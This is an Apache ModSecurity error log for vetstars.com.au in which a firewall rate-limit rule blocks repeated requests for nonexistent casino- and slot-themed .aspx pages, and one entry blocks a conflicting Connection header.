[Wed Apr 29 11:35:04.719884 2026] [:error] [pid 61541:tid 61613] [client 217.182.195.233:51628] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "afF8aFoqNK1GZvjPpy5iJgAAAg0"]
[Wed Apr 29 11:35:07.343489 2026] [:error] [pid 2604:tid 2610] [client 217.182.195.233:51630] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "afF8axx5WQMU1W68tTYALQAAAEQ"]
[Wed Apr 29 11:35:09.769340 2026] [:error] [pid 61541:tid 61622] [client 217.182.195.233:51636] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "afF8bVoqNK1GZvjPpy5iLgAAAhY"]
[Wed Apr 29 11:35:12.358003 2026] [:error] [pid 61540:tid 61577] [client 217.182.195.233:40198] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "afF8cOQ8cJB7pQslzIek9AAAAIQ"]
[Wed Apr 29 11:35:14.801498 2026] [:error] [pid 61539:tid 61553] [client 217.182.195.233:40210] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "afF8cl3XmLvOLqFtXVEr8gAAAAo"]
[Wed Apr 29 11:35:17.212063 2026] [:error] [pid 61540:tid 61579] [client 217.182.195.233:40220] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "afF8deQ8cJB7pQslzIek9QAAAIY"]
[Wed Apr 29 11:35:19.620451 2026] [:error] [pid 61539:tid 61546] [client 217.182.195.233:40222] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "afF8d13XmLvOLqFtXVEr9gAAAAM"]
[Wed Apr 29 11:35:22.008716 2026] [:error] [pid 61540:tid 61586] [client 217.182.195.233:49776] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "afF8euQ8cJB7pQslzIek-QAAAI0"]
[Wed Apr 29 11:35:24.413545 2026] [:error] [pid 61539:tid 61548] [client 217.182.195.233:49784] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "afF8fF3XmLvOLqFtXVEr-AAAAAU"]
[Wed Apr 29 11:35:26.783697 2026] [:error] [pid 61628:tid 61653] [client 217.182.195.233:49792] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "afF8fvXzdLVcrP-YPZgbdgAAANQ"]
[Wed Apr 29 11:35:29.158329 2026] [:error] [pid 61540:tid 61596] [client 217.182.195.233:49808] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "afF8geQ8cJB7pQslzIek_gAAAJc"]
[Wed Apr 29 11:35:31.721332 2026] [:error] [pid 2604:tid 2607] [client 217.182.195.233:60870] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "afF8gxx5WQMU1W68tTYANwAAAEE"]
[Wed Apr 29 11:35:34.085528 2026] [:error] [pid 61628:tid 61656] [client 217.182.195.233:60884] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "afF8hvXzdLVcrP-YPZgbegAAANc"]
[Wed Apr 29 11:35:36.601765 2026] [:error] [pid 61540:tid 61579] [client 217.182.195.233:60888] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "afF8iOQ8cJB7pQslzIelAwAAAIY"]
[Wed Apr 29 11:35:39.149449 2026] [:error] [pid 61628:tid 61649] [client 217.182.195.233:60898] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "afF8i_XzdLVcrP-YPZgbfwAAANA"]
[Wed Apr 29 11:35:41.493594 2026] [:error] [pid 61540:tid 61592] [client 217.182.195.233:41558] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "afF8jeQ8cJB7pQslzIelBAAAAJM"]
[Wed Apr 29 11:35:44.018892 2026] [:error] [pid 61628:tid 61645] [client 217.182.195.233:41560] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lava%20slot.aspx"] [unique_id "afF8kPXzdLVcrP-YPZgbiAAAAMw"]
[Wed Apr 29 11:35:46.562498 2026] [:error] [pid 61628:tid 61644] [client 217.182.195.233:41568] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mega%20slot.aspx"] [unique_id "afF8kvXzdLVcrP-YPZgbigAAAMs"]
[Wed Apr 29 11:35:48.925252 2026] [:error] [pid 61628:tid 61641] [client 217.182.195.233:41584] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/metal%20slot.aspx"] [unique_id "afF8lPXzdLVcrP-YPZgbjAAAAMg"]
[Wed Apr 29 12:24:25.230840 2026] [:error] [pid 22901:tid 22925] [client 43.134.40.189:33446] [client 43.134.40.189] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "afGH-RvfVEXI-f42iRQ76gAAARY"]
[Wed Apr 29 14:06:56.200718 2026] [:error] [pid 45054:tid 45070] [client 135.181.180.59:57160] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "afGgAItL6SUL31r23c-HvgAAAo4"]
[Wed Apr 29 14:07:03.195023 2026] [:error] [pid 61540:tid 61590] [client 135.181.180.59:57168] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "afGgB-Q8cJB7pQslzIfC1gAAAJE"]
[Wed Apr 29 14:07:05.718292 2026] [:error] [pid 22901:tid 22918] [client 135.181.180.59:21216] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "afGgCRvfVEXI-f42iRRIVQAAAQ8"]
[Wed Apr 29 14:07:08.269863 2026] [:error] [pid 45054:tid 45057] [client 135.181.180.59:21230] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "afGgDItL6SUL31r23c-H0gAAAoE"]
[Wed Apr 29 14:07:10.662518 2026] [:error] [pid 22901:tid 22913] [client 135.181.180.59:21236] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "afGgDhvfVEXI-f42iRRIWAAAAQo"]
[Wed Apr 29 14:07:13.139399 2026] [:error] [pid 44860:tid 44865] [client 135.181.180.59:21244] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "afGgEUQ82el2g7ESJ155lwAAAkM"]
[Wed Apr 29 14:07:15.878043 2026] [:error] [pid 22901:tid 22924] [client 135.181.180.59:57836] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "afGgExvfVEXI-f42iRRIWgAAARU"]
[Wed Apr 29 14:07:18.445949 2026] [:error] [pid 2604:tid 2626] [client 135.181.180.59:57850] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "afGgFhx5WQMU1W68tTYZywAAAFQ"]
[Wed Apr 29 14:07:21.022050 2026] [:error] [pid 45054:tid 45056] [client 135.181.180.59:57858] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "afGgGYtL6SUL31r23c-H2gAAAoA"]
[Wed Apr 29 14:07:23.510526 2026] [:error] [pid 44860:tid 44880] [client 135.181.180.59:57862] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "afGgG0Q82el2g7ESJ155mgAAAlI"]
[Wed Apr 29 14:07:26.151828 2026] [:error] [pid 45054:tid 45064] [client 135.181.180.59:59194] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "afGgHotL6SUL31r23c-H3wAAAog"]
[Wed Apr 29 14:07:28.726166 2026] [:error] [pid 45054:tid 45066] [client 135.181.180.59:59198] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "afGgIItL6SUL31r23c-H4wAAAoo"]
[Wed Apr 29 14:07:31.266530 2026] [:error] [pid 45054:tid 45076] [client 135.181.180.59:59206] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "afGgI4tL6SUL31r23c-H6AAAApQ"]
[Wed Apr 29 14:07:33.740437 2026] [:error] [pid 45119:tid 45135] [client 135.181.180.59:59218] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "afGgJcgCO5XKzjdJ_HYFwwAAAw4"]
[Wed Apr 29 14:07:36.200752 2026] [:error] [pid 61540:tid 61573] [client 135.181.180.59:33546] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "afGgKOQ8cJB7pQslzIfC5QAAAIA"]
[Wed Apr 29 14:07:38.802950 2026] [:error] [pid 44766:tid 44783] [client 135.181.180.59:33558] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "afGgKqVI9GtM_JyauAIxCQAAAY8"]
[Wed Apr 29 14:07:41.278187 2026] [:error] [pid 22901:tid 22910] [client 135.181.180.59:33574] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "afGgLRvfVEXI-f42iRRIXwAAAQc"]
[Wed Apr 29 14:07:43.766858 2026] [:error] [pid 2604:tid 2625] [client 135.181.180.59:33584] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "afGgLxx5WQMU1W68tTYZzgAAAFM"]
[Wed Apr 29 14:07:46.256628 2026] [:error] [pid 45289:tid 45292] [client 135.181.180.59:40576] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "afGgMl_vGmZY7dOOIwrH0QAAA4A"]
[Wed Apr 29 14:07:48.853308 2026] [:error] [pid 2604:tid 2610] [client 135.181.180.59:40586] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "afGgNBx5WQMU1W68tTYZ0QAAAEQ"]
[Wed Apr 29 14:09:04.943133 2026] [:error] [pid 61540:tid 61587] [client 135.181.180.59:10866] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "afGggOQ8cJB7pQslzIfDBQAAAI4"]
[Wed Apr 29 14:09:07.433286 2026] [:error] [pid 44860:tid 44875] [client 135.181.180.59:31518] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "afGgg0Q82el2g7ESJ155vAAAAk0"]
[Wed Apr 29 14:09:09.890107 2026] [:error] [pid 44766:tid 44771] [client 135.181.180.59:31534] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "afGghaVI9GtM_JyauAIxEgAAAYM"]
[Wed Apr 29 14:09:12.467694 2026] [:error] [pid 44860:tid 44881] [client 135.181.180.59:31546] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "afGgiEQ82el2g7ESJ155vwAAAlM"]
[Wed Apr 29 14:09:15.143328 2026] [:error] [pid 44860:tid 44883] [client 135.181.180.59:31560] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "afGgi0Q82el2g7ESJ155wQAAAlU"]
[Wed Apr 29 14:09:17.781560 2026] [:error] [pid 61540:tid 61592] [client 135.181.180.59:63534] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "afGgjeQ8cJB7pQslzIfDDQAAAJM"]
[Wed Apr 29 14:09:20.423823 2026] [:error] [pid 45054:tid 45070] [client 135.181.180.59:63538] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "afGgkItL6SUL31r23c-IEQAAAo4"]
[Wed Apr 29 14:09:23.005464 2026] [:error] [pid 44860:tid 44875] [client 135.181.180.59:63548] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "afGgk0Q82el2g7ESJ155yQAAAk0"]
[Wed Apr 29 14:09:25.558886 2026] [:error] [pid 61540:tid 61578] [client 135.181.180.59:41170] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "afGgleQ8cJB7pQslzIfDFAAAAIU"]
[Wed Apr 29 14:09:28.240312 2026] [:error] [pid 45085:tid 45108] [client 135.181.180.59:41172] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "afGgmNS7eNjgd8gD6Zzo5QAAAtU"]
[Wed Apr 29 14:09:30.906101 2026] [:error] [pid 45085:tid 45102] [client 135.181.180.59:41176] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "afGgmtS7eNjgd8gD6Zzo6AAAAs8"]
[Wed Apr 29 14:09:33.363210 2026] [:error] [pid 44860:tid 44867] [client 135.181.180.59:41192] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "afGgnUQ82el2g7ESJ155zAAAAkU"]
[Wed Apr 29 14:09:36.021187 2026] [:error] [pid 2604:tid 2630] [client 135.181.180.59:27278] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "afGgoBx5WQMU1W68tTYZ_AAAAFg"]
[Wed Apr 29 14:09:38.549636 2026] [:error] [pid 22901:tid 22921] [client 135.181.180.59:27294] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "afGgohvfVEXI-f42iRRIdAAAARI"]
[Wed Apr 29 14:09:41.315079 2026] [:error] [pid 44860:tid 44882] [client 135.181.180.59:27296] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "afGgpUQ82el2g7ESJ1550AAAAlQ"]
